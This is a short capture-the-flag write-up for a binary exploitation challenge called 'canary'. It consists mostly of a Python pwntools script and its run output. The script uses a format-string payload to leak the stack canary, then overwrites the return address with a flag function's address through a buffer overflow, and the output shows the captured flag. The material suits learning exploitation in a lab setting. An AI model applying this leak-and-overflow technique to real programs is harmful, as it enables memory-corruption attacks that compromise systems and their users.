Tags: binary pwn canary 

Rating:

```python
#!/usr/bin/python2

from pwn import *
import sys

context.arch = 'x86_64'
FLAG_ADDR = 0x0000000000400787

def info(s):
log.info(s)

def exploit(r):
r.readuntil('your name?')

payload = "%%%d$p" % 17
r.sendline(payload)

data = r.readuntil("!")
data = data.split(',')
canary = int(data[1].strip()[:-1], 16)
info("Canary: {}".format(hex(canary)))

payload = "A" * 56
payload += p64(canary)
payload += "B"*8
payload += p64(FLAG_ADDR)

r.sendlineafter("me?", payload)

r.interactive()


if __name__ == '__main__':
HOST, PORT = "shell.actf.co", 20701
if len(sys.argv) > 1:
r = remote(HOST, PORT)
exploit(r)
else:
r = process(['/problems/2020/canary/canary'])
print(util.proc.pidof(r))
pause()
exploit(r)
```

I uploaded the code into server, then:

```bash
$ cd /problems/2020/canary
$ python2 ~/canary.py
[+] Starting local process '/problems/2020/canary/canary': pid 26563
[26563]
[*] Paused (press any to continue)
[*] Canary: 0x9b3b48629b452e00
[*] Switching to interactive mode
actf{youre_a_canary_killer_>:(}
```